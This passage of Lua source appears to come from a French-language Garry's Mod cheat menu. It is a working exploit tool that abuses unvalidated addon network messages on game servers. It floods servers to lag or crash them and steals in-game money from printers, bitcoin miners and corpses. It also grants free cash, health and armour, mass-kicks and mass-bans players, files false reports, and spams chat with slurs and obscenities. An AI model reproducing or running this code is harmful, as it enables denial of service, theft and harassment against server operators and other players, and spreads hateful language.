8106addExploit( "16","Activer/Désactiver Bypass Report TTT", "", function()
8107surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8108 if (bypass == 0) then
8109hook.Add("Think", "remove_ttt_report", function()
8110local pan = vgui.GetHoveredPanel()
8111CheckChild(pan)
8112end)
8113--("Enabled Report Bypass")
8114bypass = 1
8115else
8116hook.Remove("Think", "remove_ttt_report")
8117--("Disabled Report Bypass")
8118bypass = 0
8119end
8120end)
8121end
8122
8123status = ValidNetString("EZS_PlayerTag")
8124if (status) then
8125CHATPRINT("Exploit Trouvé : Crée Des Lags #3 [EZS_PlayerTag]")
8126addExploit( "17","Crée Des Lags #3", "", function()
8127surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8128 if !timer.Exists( "lagger3" ) then
8129timer.Create("lagger3", 0.5, 0, function()
8130for k, v in pairs(player.GetAll()) do
8131net.Start("EZS_PlayerTag",true)
8132net.WriteEntity(v)
8133net.WriteString("Seized")
8134net.SendToServer()
8135timer.Simple(2, function()
8136net.Start("EZS_PlayerTag",true)
8137net.WriteEntity(v)
8138net.WriteString("Seized")
8139net.SendToServer()
8140end)
8141end
8142end)
8143--("Lags Démarré")
8144else
8145timer.Remove("lagger3")
8146--("Lags Arreté")
8147end
8148end)
8149end
8150
8151if ConVarExists("advttt_spreadovertime_enabled") then
8152CHATPRINT("Exploit Trouvé : NoSpread")
8153addExploit( "18","NoSpread", "", function()
8154surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8155 hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
8156--("Spread Removed")
8157end)
8158end
8159
8160status = ValidNetString("fp_as_doorHandler")
8161if (status) then
8162CHATPRINT("Exploit Trouvé : Ouvrir Des Portes | Fermer Des Portes |
8163Supprimer Le Propriétaire [fp_as_doorHandler]")
8164addExploit( "19","Ouvrir La Porte", "", function()
8165surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8166 net.Start("fp_as_doorHandler")
8167net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
8168net.WriteString("unlock")
8169net.SendToServer()
8170--("Portes Ouverte")
8171end)
8172end
8173
8174status = ValidNetString("fp_as_doorHandler")
8175if (status) then
8176addExploit( "20","Fermer La Porte", "", function()
8177surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8178 net.Start("fp_as_doorHandler")
8179net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
8180net.WriteString("lock")
8181net.SendToServer()
8182--("Portes Ouverte")
8183end)
8184end
8185
8186status = ValidNetString("fp_as_doorHandler")
8187if (status) then
8188addExploit( "21","Supprimer Le Propriétaire", "", function()
8189surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8190 local door = LocalPlayer():GetEyeTrace().Entity
8191local doorOwner = door:getDoorData()["owner"]
8192net.Start("fp_as_doorHandler")
8193net.WriteEntity(door)
8194net.WriteString("removeOwner")
8195net.WriteDouble(doorOwner)
8196net.SendToServer()
8197--("Portes Ouverte")
8198end)
8199end
8200
8201status = ValidNetString("VJSay")
8202if (status) then
8203CHATPRINT("Exploit Trouvé : VJSay [OLD] [VJSay]")
8204addExploit( "22","VJSay [OLD]", "", function()
8205surface.PlaySound( "mat/pityclick.wav" ) inputFrame2Exists = true
8206inputFrame2 = vgui.Create( "DFrame" )
8207inputFrame2:SetTitle("Entrer votre message")
8208inputFrame2:SetSize( 400, 75 )
8209inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 +
8210230 )
8211inputFrame2:SetDraggable(true)
8212inputFrame2:ShowCloseButton(false)
8213inputFrame2:MakePopup()
8214inputFrame2.Paint = function( self, w, h )
8215DrawBlur(self, blur_effect:GetInt())
8216
8217draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0,230))
8218end
8219
8220local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
8221TextEntry2:SetSize( 380, 30 )
8222TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2,
8223 inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
8224TextEntry2:SetText( "Broadcast Msg" )
8225TextEntry2.OnEnter = function( self )
8226surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8227 --("Broadcasting")
8228net.Start("VJSay")
8229net.WriteEntity(nil)
8230net.WriteString(TextEntry2:GetValue())
8231net.WriteString("")
8232net.SendToServer()
8233inputFrame2:SetVisible(false)
8234end
8235end)
8236end
8237
8238status = ValidNetString("ply_pick_shit")
8239if (status) then
8240CHATPRINT("Exploit Trouvé : Argent Gratuite amirite [ply_pick_shit]")
8241addExploit( "23","Argent Gratuite amirite", "", function()
8242surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8243 for k, v in pairs (player.GetAll()) do
8244for i = 1,255 do
8245net.Start("ply_pick_shit")
8246net.WriteEntity(LocalPlayer())
8247net.WriteEntity(v)
8248net.SendToServer()
8249end
8250end
8251--("Des thunes :^)")
8252end)
8253end
8254
8255status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
8256if (status) then
8257CHATPRINT("Exploit Trouvé : Faire Crash #2
8258[pac.net.TouchFlexes.ClientNotify]")
8259addExploit( "24","Crasher #2", "big lagz", function()
8260surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8261 if !timer.Exists( "crasher2" ) then
8262timer.Create("crasher2", 0, 0, function()
8263for i = 1, 400 do
8264net.Start("pac.net.TouchFlexes.ClientNotify")
8265net.WriteInt(
82669999999999999999999999999999999999999999999999999999999999999999999999,
826713)
8268net.SendToServer()
8269end
8270end)
8271--("Starting Crasher")
8272else
8273timer.Remove("crasher2")
8274--("Stopping Crasher")
8275end
8276end)
8277end
8278
8279status = ValidNetString("BM2.Command.SellBitcoins")
8280if (status) then
8281CHATPRINT("Exploit Trouvé : Vendre Vos Bitcoins
8282[BM2.Command.SellBitcoins]")
8283addExploit( "25","Vendre Vos Bitcoins", "sells your and other peoples
8284bitcoins at a great distance", function()
8285surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8286 for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
8287net.Start("BM2.Command.SellBitcoins")
8288net.WriteEntity(v)
8289net.SendToServer()
8290end
8291for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
8292net.Start("BM2.Command.SellBitcoins")
8293net.WriteEntity(v)
8294net.SendToServer()
8295end
8296for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
8297net.Start("BM2.Command.SellBitcoins")
8298net.WriteEntity(v)
8299net.SendToServer()
8300end
8301end)
8302end
8303
8304status = ValidNetString("BM2.Command.Eject")
8305if (status) then
8306CHATPRINT("Exploit Trouvé : Crée Des Lags #4 [BM2.Command.Eject]")
8307addExploit( "26","Crée Des Lags #4", "", function()
8308surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8309 if !timer.Exists( "lagger4" ) then
8310timer.Create("lagger4", 0, 0, function()
8311for i = 1, 1000 do
8312net.Start("BM2.Command.Eject",true)
8313net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999,
8314 8)
8315net.SendToServer()
8316end
8317end)
8318--("Lags Démarré")
8319else
8320timer.Remove("lagger4")
8321--("Lags Arreté")
8322end
8323end)
8324end
8325
8326status = ValidNetString("BM2.Command.SellBitcoins")
8327if (status) then
8328CHATPRINT("Exploit Trouvé : Crée Des Lags #5
8329[BM2.Command.SellBitcoins]")
8330addExploit( "27","Crée Des Lags #5", "", function()
8331surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8332 timer.Create("lagger5", 0, 0, function()
8333for i=1,1000 do
8334net.Start("BM2.Command.SellBitcoins",true)
8335net.WriteEntity(LocalPlayer())
8336net.SendToServer()
8337end
8338end )
8339end )
8340end
8341
8342status = ValidNetString("ItemStoreUse")
8343if (status) then
8344CHATPRINT("Exploit Trouvé : Crée Des Lags #6 [ItemStoreUse]")
8345addExploit( "28","Crée Des Lags #6", "", function()
8346surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8347 if !timer.Exists( "lagger6" ) then
8348timer.Create("lagger6", 0, 0, function()
8349for i = 1, 1000 do
8350net.Start("ItemStoreUse",true)
8351net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,
8352 32)
8353net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,
8354 32)
8355net.SendToServer()
8356end
8357end)
8358--("Lags Démarré")
8359else
8360timer.Remove("lagger6")
8361--("Lags Arreté")
8362end
8363end)
8364end
8365
8366status = ValidNetString("ItemStoreDrop")
8367if (status) then
8368CHATPRINT("Exploit Trouvé : Crée Des Lags #7 [ItemStoreDrop]")
8369addExploit( "29","Crée Des Lags #7", "", function()
8370surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8371 if !timer.Exists( "lagger7" ) then
8372timer.Create("lagger7", 0, 0, function()
8373for i = 1, 1000 do
8374net.Start("ItemStoreDrop",true)
8375net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,
8376 32)
8377net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,
8378 32)
8379net.SendToServer()
8380end
8381end)
8382--("Lags Démarré")
8383else
8384timer.Remove("lagger7")
8385--("Lags Arreté")
8386end
8387end)
8388end
8389
8390status = ValidNetString("gMining.sellMineral")
8391if (status) then
8392CHATPRINT("Exploit Trouvé : Crée Des Lags #8 [gMining.sellMineral]")
8393addExploit( "30","Crée Des Lags #8", "", function()
8394surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8395 --("Démarré")
8396if !timer.Exists( "lagger8" ) then
8397timer.Create("lagger8", 0, 0, function()
8398for i = 1, 1000 do
8399net.Start("gMining.sellMineral",true)
8400net.WriteInt(9999999999999999999999999999999999999999999999999999999999,
8401 3)
8402net.WriteString(" ")
8403net.SendToServer()
8404end
8405end )
8406end
8407end )
8408end
8409
8410status = ValidNetString("PlayerUseItem")
8411if (status) then
8412CHATPRINT("Exploit Trouvé : Crée Des Lags #9 [PlayerUseItem]")
8413addExploit( "31","Crée Des Lags #9", "", function()
8414surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8415 if !timer.Exists( "lagger9" ) then
8416timer.Create("lagger9", 0,0, function()
8417for i = 1, 800 do
8418net.Start("PlayerUseItem",true)
8419net.WriteInt(99999999999999999999999999999999999999999999999, 32)
8420net.SendToServer()
8421end
8422end)
8423--("Lags Démarré")
8424else
8425timer.Remove("lagger9")
8426--("Lags Arreté")
8427end
8428end)
8429end
8430
8431status = ValidNetString("RequestMAPSize")
8432if (status) then
8433CHATPRINT("Exploit Trouvé : Crée Des Lags #10 [RequestMAPSize]")
8434addExploit( "32","Crée Des Lags #10", "", function()
8435surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8436 if !timer.Exists( "lagger10" ) then
8437timer.Create("lagger10", 0, 0, function()
8438for i = 1, 400 do
8439net.Start("RequestMAPSize",true)
8440net.SendToServer()
8441end
8442end)
8443--("Lags Démarré")
8444else
8445timer.Remove("lagger10")
8446--("Lags Arreté")
8447end
8448end )
8449end
8450
8451status = ValidNetString("MG2.Request.GangRankings")
8452if (status) then
8453CHATPRINT("Exploit Trouvé : Crée Des Lags #11
8454[MG2.Request.GangRankings]")
8455addExploit( "33","Crée Des Lags #11", "", function()
8456surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8457 if !timer.Exists( "lagger11" ) then
8458timer.Create("lagger11", 0, 0, function()
8459for i = 1, 1000 do
8460net.Start("MG2.Request.GangRankings",true)
8461net.SendToServer()
8462end
8463end)
8464--("Lags Démarré")
8465else
8466timer.Remove("lagger11")
8467--("Lags Arreté")
8468end
8469end )
8470end
8471
8472status = ValidNetString("dLogsGetCommand")
8473if (status) then
8474CHATPRINT("Exploit Trouvé : Crée Des Lags #12 [dLogsGetCommand]")
8475addExploit( "34","Crée Des Lags #12", "", function()
8476surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8477 --("Lags Démarré")
8478for i=1,7000 do
8479net.Start("dLogsGetCommand",true)
8480net.WriteTable({ cmd = "+forward" , args = " " })
8481net.SendToServer()
8482end
8483end )
8484end
8485
8486status = ValidNetString("ats_send_toServer")
8487if (status) then
8488CHATPRINT("Exploit Trouvé : Crée Des Lags #13 [ats_send_toServer]")
8489addExploit( "35","Crée Des Lags #13", "", function()
8490surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8491 --("Lags Démarré")
8492for i=1,2000 do
8493net.Start("ats_send_toServer",true)
8494net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
8495net.SendToServer()
8496end
8497end )
8498end
8499
8500status = ValidNetString("shopguild_buyitem")
8501if (status) then
8502CHATPRINT("Exploit Trouvé : Exploit De Guildes [shopguild_buyitem]")
8503addExploit( "36","Exploit De Guildes", "", function()
8504surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8505 CHATPRINT("Guild level successfully upgraded")
8506local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
8507if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level =
8508tonumber(LocalPlayer():GetNWInt("lvlguild")) end
8509net.Start("shopguild_buyitem")
8510net.WriteString("lvl")
8511net.WriteDouble(level)
8512net.WriteString("Guild Level "..level)
8513net.WriteEntity(LocalPlayer())
8514net.WriteUInt(2,4)
8515net.WriteDouble(0)
8516net.SendToServer()
8517level = level + 1
8518end )
8519end
8520
8521status = ValidNetString("VoteKickNO")
8522if (status) then
8523CHATPRINT("Exploit Trouvé : Votekick [VoteKickNO]")
8524addExploit( "37","Votekick", "kicking all", function()
8525surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8526 for k,v in pairs(player.GetAll()) do
8527net.Start("VoteKickNO")
8528net.WriteFloat(v:EntIndex())
8529net.WriteFloat(6)
8530net.SendToServer()
8531net.Start("VoteKickNO")
8532net.WriteFloat(v:EntIndex())
8533net.WriteFloat(6)
8534net.SendToServer()
8535net.Start("VoteKickNO")
8536net.WriteFloat(v:EntIndex())
8537net.WriteFloat(6)
8538net.SendToServer()
8539net.Start("VoteKickNO")
8540net.WriteFloat(v:EntIndex())
8541net.WriteFloat(6)
8542net.SendToServer()
8543end
8544end )
8545end
8546
8547status = ValidNetString("VoteBanNO")
8548if (status) then
8549CHATPRINT("Exploit Trouvé : Voteban [VoteBanNO]")
8550addExploit( "38","Voteban", "bans all", function()
8551surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8552 for k,v in pairs(player.GetAll()) do
8553net.Start("VoteBanNO")
8554net.WriteFloat(v:EntIndex())
8555net.WriteFloat(8)
8556net.SendToServer()
8557net.Start("VoteBanNO")
8558net.WriteFloat(v:EntIndex())
8559net.WriteFloat(8)
8560net.SendToServer()
8561net.Start("VoteBanNO")
8562net.WriteFloat(v:EntIndex())
8563net.WriteFloat(8)
8564net.SendToServer()
8565end
8566end )
8567end
8568
8569status = ValidNetString("NewReport")
8570if (status) then
8571CHATPRINT("Exploit Trouvé : Report Modifié [NewReport]")
8572addExploit( "39","Report Modifié", "", function()
8573surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8574 for k,v in pairs(player.GetAll()) do
8575net.Start("NewReport")
8576net.WriteType(ply)
8577net.WriteInt(8,5)
8578net.WriteString("hahaha")
8579net.SendToServer()
8580end
8581end )
8582end
8583
8584status = ValidNetString("Warn_CreateWarn")
8585if (status) then
8586CHATPRINT("Exploit Trouvé : Warns Modifiés [Warn_CreateWarn]")
8587addExploit( "40","Warns Modifiés", "", function()
8588surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8589 for k,v in pairs(player.GetAll()) do
8590net.Start("Warn_CreateWarn")
8591net.WriteEntity(ply)
8592net.WriteString("hahaha")
8593net.SendToServer()
8594end
8595end )
8596end
8597
8598status = ValidNetString("showDisguiseHUD")
8599if (status) then
8600CHATPRINT("Exploit Trouvé : Déguisements #2 [showDisguiseHUD]")
8601addExploit( "41","Déguisements #2", "", function()
8602surface.PlaySound( "mat/pityclick.wav" )
8603PlayerCount = 0
8604for k, v in pairs(player.GetAll()) do
8605PlayerCount = PlayerCount + 1
8606end
8607local TeamNum
8608local disguise_Model_Preview_Default
8609local BDMenu = vgui.Create("DFrame")
8610BDMenu:SetSize(300,420)
8611BDMenu:Center()
8612BDMenu:SetTitle(" ")
8613BDMenu:ShowCloseButton(false)
8614BDMenu:MakePopup()
8615function BDMenu:Paint()
8616DrawBlur(self, blur_effect:GetInt())
8617draw.RoundedBoxEx( 0, 0, 0, BDMenu:GetWide(), BDMenu:GetTall(),
8618Color(20,20,20,200),false,true)
8619draw.RoundedBox( 5, 0, 0, 5, h, Color( 20, 20, 20, 60 ) )
8620draw.RoundedBox( 5, 0, 0, w, 5, Color( 20, 20, 20, 60 ) )
8621draw.RoundedBox( 5, w - 5, 0, 5, h, Color( 20, 20, 20, 60 ) )
8622draw.RoundedBox( 5, 0, h - 5, w, 5, Color( 20, 20, 20, 60 ) )
8623end
8624local ExitButton = vgui.Create("DButton", BDMenu)
8625ExitButton:SetPos(280,0)
8626ExitButton:SetText("X")
8627ExitButton:SetSize(20,20)
8628ExitButton:SetFont("Default")
8629ExitButton.Paint = function()
8630ExitButton:SetTextColor(Color(255,255,255,255))
8631if ExitButton:IsHovered() then
8632draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(),
8633Color(255,100,100,255),false,true)
8634else
8635draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(),
8636Color(255,50,50,0),false,true)
8637end
8638end
8639function ExitButton.DoClick()
8640BDMenu:Remove()
8641net.Start("changeToPhysgun")
8642net.SendToServer()
8643end
8644local DTeamChoice = vgui.Create("DComboBox", BDMenu)
8645DTeamChoice:SetSize(150, 22)
8646DTeamChoice:SetPos(75, 50)
8647DTeamChoice:SetValue("Choisi L'Emplois")
8648for k, v in pairs(team.GetAllTeams()) do
8649if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then
8650DTeamChoice:AddChoice(team.GetName(k)) end
8651end
8652DTeamChoice.OnSelect = function(panel, index, value)
8653for k,_ in pairs(team.GetAllTeams()) do
8654if value == team.GetName(k) then
8655for _, v in pairs(player.GetAll())do
8656if v:Team() == k then
8657TeamNum = v:Team()
8658disguise_Model_Preview_Default = v:GetModel()
8659end
8660end
8661end
8662end
8663timer.Create("RefreshModel", 0.1, 0, function()
8664local icon = vgui.Create( "DModelPanel", BDMenu )
8665icon:SetSize(300, 260)
8666icon:SetPos(-5, 80)
8667icon:SetFOV(68)
8668icon:SetModel( disguise_Model_Preview_Default )
8669timer.Simple(0.1, function()
8670icon:Remove()
8671end)
8672end)
8673local DisguiseButton = vgui.Create("DButton", BDMenu)
8674DisguiseButton:SetPos(BDMenu:GetWide()/2.5, 360)
8675DisguiseButton:SetSize(60,20)
8676DisguiseButton:SetText("Accepter")
8677DisguiseButton:SetFont("DermaDefaultBold")
8678function DisguiseButton:Paint()
8679if DisguiseButton:IsHovered() then
8680draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(),
8681Color(255,100,100,255),false,true)
8682else
8683draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(),
8684Color(255,50,50,255),false,true)
8685end
8686end
8687function DisguiseButton:DoClick()
8688NOTIFICATION("Exploit lançé")
8689net.Start("SetPlayerModel")
8690if ChosenName == nil then
8691net.WriteString(LocalPlayer():Nick())
8692else
8693net.WriteString(ChosenName)
8694end
8695net.WriteUInt(TeamNum, 16)
8696net.SendToServer()
8697BDMenu:Close()
8698net.Start("changeToPhysgun")
8699net.SendToServer()
8700end
8701end
8702end
8703)
8704end
8705
8706status = ValidNetString("Chatbox_PlayerChat")
8707if (status) then
8708CHATPRINT("Exploit Trouvé : Spam Chat [Chatbox_PlayerChat]")
8709addExploit( "42","Spam Chat", "", function()
8710surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8711 timer.Create("willoxchatspam", 1, 0, function()
8712net.Start("Chatbox_PlayerChat")
8713net.WriteEntity(LocalPlayer())
8714net.WriteBit(1)
8715net.WriteString("FAGGOTS")
8716net.WriteBit(1)
8717net.SendToServer()
8718end )
8719end )
8720end
8721
8722status = ValidNetString("BuilderXToggleKill")
8723if (status) then
8724CHATPRINT("Exploit Trouvé : Exploits Constructeur Contre Tueur
8725[BuilderXToggleKill]")
8726addExploit( "43","Exploits Constructeur Contre Tueur", "", function()
8727surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8728 --("Démarré")
8729for k, v in pairs(player.GetAll()) do
8730net.Start("BuilderXToggleKill")
8731net.WriteEntity(ply)
8732net.SendToServer()
8733end
8734end )
8735end
8736
8737status = ValidNetString("reports.submit")
8738if (status) then
8739CHATPRINT("Exploit Trouvé : Report Tout Le Monde [reports.submit]")
8740addExploit( "44","Report Tout Le Monde", "", function()
8741surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8742 --("Démarré")
8743for k,v in pairs(player.GetAll()) do
8744net.Start("reports.submit")
8745net.WriteEntity(v)
8746net.WriteInt(5, 8)
8747net.WriteString("SuckMyDick")
8748net.SendToServer()
8749end
8750end )
8751end
8752
8753status = ValidNetString("services_accept")
8754if (status) then
8755CHATPRINT("Exploit Trouvé : Spam Services [services_accept]")
8756addExploit( "45","Spam Services", "spam to all players", function()
8757surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8758 --("Démarré")
8759timer.Create("serviceaccept", 0, 0, function()
8760for k,v in pairs(player.GetAll()) do
8761net.Start("services_accept")
8762net.WriteString("Sécurité En Carton - Seized By Pity")
8763net.WriteVector(Vector(v:GetPos()))
8764net.WriteString("test image")
8765net.WriteEntity(v)
8766net.SendToServer()
8767end
8768end )
8769timer.Simple(4, function()
8770timer.Destroy("serviceaccept")
8771end )
8772end )
8773end
8774
8775status = ValidNetString("lockpick_sound")
8776if (status) then
8777CHATPRINT("Exploit Trouvé : LockPick Spam Son [lockpick_sound]")
8778addExploit( "46","LockPick Spam Son", "", function()
8779surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8780 --("Démarré")
8781timer.Create( "spamlockpicksound", 3, 0, function()
8782for k, v in pairs( player.GetAll() ) do
8783net.Start("lockpick_sound")
8784net.WriteEntity(v)
8785net.SendToServer()
8786end
8787end )
8788timer.Simple(4, function()
8789timer.Destroy("spamlockpicksound")
8790end )
8791end )
8792end
8793
8794status = ValidNetString("customprinter_get")
8795if (status) then
8796CHATPRINT("Exploit Trouvé : Voler L'Argents Des Printers
8797[customprinter_get]")
8798addExploit( "47","Voler L'Argents Des Printers", "", function()
8799surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8800 --("Démarré")
8801for k, v in pairs(ents.GetAll()) do
8802if v:GetClass():find("print") then
8803net.Start("customprinter_get")
8804net.WriteEntity(v)
8805net.WriteString("g_money")
8806net.SendToServer()
8807end
8808end
8809end )
8810end
8811
8812status = ValidNetString("InformPlayer")
8813if (status) then
8814CHATPRINT("Exploit Trouvé : SimpleGrab Inform [InformPlayer]")
8815addExploit( "48","SimpleGrab Inform", "", function()
8816surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8817 --("Démarré")
8818for k,v in pairs(player.GetAll()) do
8819for i = 0, 100 do
8820net.Start("InformPlayer")
8821net.WriteEntity(v)
8822net.SendToServer()
8823end
8824end
8825end )
8826end
8827
8828status = ValidNetString("pogcp_report_submitReport")
8829if (status) then
8830CHATPRINT("Exploit Trouvé : Report Tout Le Monde #2
8831[pogcp_report_submitReport]")
8832addExploit( "49","Report Tout Le Monde #2", "", function()
8833surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8834 --("Démarré")
8835for i = 0, 100 do
8836for k,v in pairs(player.GetAll()) do
8837net.Start("pogcp_report_submitReport")
8838net.WriteString("lol")
8839net.WriteString("88 Triggering :c")
8840net.WriteEntity(v)
8841net.SendToServer()
8842end
8843end
8844end )
8845end
8846
8847status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
8848if (status) then
8849CHATPRINT("Exploit Trouvé : Candidature De Dictateur Instant
8850[1942_Fuhrer_SubmitCandidacy]")
8851addExploit( "50","Candidature De Dictateur Instant", "", function()
8852surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8853 --("Démarré")
8854net.Start("1942_Fuhrer_SubmitCandidacy")
8855net.WriteString(LocalPlayer():Nick())
8856net.SendToServer()
8857end )
8858end
8859
8860status = ValidNetString("FacCreate")
8861if (status) then
8862CHATPRINT("Exploit Trouvé : Fac Create [FacCreate]")
8863addExploit( "51","Fac Create", "old exploit", function()
8864surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8865 --("Démarré")
8866timer.Create("fucklol", 1, 0, function()
8867net.Start("FacCreate")
8868net.WriteString("LOL " .. random_string(5))
8869net.WriteString("LOL " .. random_string(10))
8870net.WriteColor(random_color())
8871net.WriteBool(false)
8872net.WriteString(random_string(5))
8873net.SendToServer()
8874end )
8875end )
8876end
8877
8878status = ValidNetString("FactionInviteConsole")
8879if (status) then
8880CHATPRINT("Exploit Trouvé : Faction Invite [FactionInviteConsole]")
8881addExploit( "52","Faction Invite", "", function()
8882surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8883 --("Démarré")
8884timer.Create("lovedarkexploitsxd", 1, 0, function()
8885for k, v in pairs(player.GetAll()) do
8886net.Start("FactionInviteConsole")
8887net.WriteEntity( ply )
8888net.WriteEntity(table.Random(player.GetAll()))
8889net.SendToServer()
8890end
8891end )
8892end )
8893end
8894
8895status = ValidNetString("WithdrewBMoney")
8896if (status) then
8897CHATPRINT("Exploit Trouvé : Argent Gratuite #2 [WithdrewBMoney]")
8898addExploit( "53","Argent Gratuite #2", "Exploit Provenant De L'addon
8899'business'", function()
8900surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8901 --("Démarré")
8902net.Start("WithdrewBMoney")
8903net.WriteInt(50000,32)
8904net.SendToServer()
8905end )
8906end
8907
8908status = ValidNetString("deathrag_takeitem")
8909if (status) then
8910CHATPRINT("Exploit Trouvé : Items Faciles [deathrag_takeitem]")
8911addExploit( "54","Items Faciles", "collects money, weapons", function()
8912surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8913 --("Démarré")
8914count = 0
8915for k, v in pairs( ents.GetAll() ) do
8916if v:GetClass() == "prop_ragdoll" then
8917count = count + 1
8918end
8919end
8920if count == 0 then
8921CHATPRINT("No items found")
8922else
8923CHATPRINT("Amount of items "..count)
8924end
8925for k, v in pairs( ents.GetAll() ) do
8926if v:GetClass() == "prop_ragdoll" then
8927for i=1,10 do
8928net.Start("deathrag_takeitem")
8929net.WriteEntity( v )
8930net.WriteInt(i,16)
8931net.SendToServer()
8932end
8933end
8934end
8935end )
8936end
8937
8938status = ValidNetString("REPPurchase")
8939if (status) then
8940CHATPRINT("Exploit Trouvé : Heal & Armure [REPPurchase]")
8941addExploit( "55","Heal & Armure", "armor and hp", function()
8942surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8943 --("Démarré")
8944if LocalPlayer():Health() < 99 then
8945net.Start("REPPurchase")
8946net.WriteString("HEALTH")
8947net.SendToServer()
8948end
8949if LocalPlayer():Armor() < 99 then
8950net.Start("REPPurchase")
8951net.WriteString("ARMOR")
8952net.SendToServer()
8953end
8954end )
8955end
8956
8957status = ValidNetString("BTTTStartVotekick")
8958if (status) then
8959CHATPRINT("Exploit Trouvé : Votekick #2 [BTTTStartVotekick]")
8960addExploit( "56","Votekick #2", "kick all noobs", function()
8961surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8962 --("Démarré")
8963for k,v in pairs(player.GetAll()) do
8964if v != LocalPlayer() then
8965net.Start("BTTTStartVotekick")
8966net.Start("_nonDBVMVote")
8967net.WriteEntity(v)
8968net.WriteString("")
8969net.WriteString("1")
8970net.SendToServer()
8971end
8972end
8973end )
8974end
8975
8976status = ValidNetString("Resupply")
8977if (status) then
8978CHATPRINT("Exploit Trouvé : ReSpawn Equipment [Resupply]")
8979addExploit( "57","ReSpawn Equipment", "", function()
8980surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8981 --("Démarré")
8982net.Start("Resupply")
8983net.SendToServer()
8984end )
8985end
8986
8987status = ValidNetString("DarkRP_Defib_ForceSpawn")
8988if (status) then
8989CHATPRINT("Exploit Trouvé : ReSpawn [DarkRP_Defib_ForceSpawn]")
8990addExploit( "58","ReSpawn #2", "just reSpawn", function()
8991surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8992 --("ReSpawn")
8993net.Start("DarkRP_Defib_ForceSpawn")
8994net.SendToServer()
8995end )
8996end
8997
8998status = ValidNetString("FiremanLeave")
8999if (status) then
9000CHATPRINT("Exploit Trouvé : Quitter Les Pompiers [FiremanLeave]")
9001addExploit( "59","Fireman Leave", "", function()
9002surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
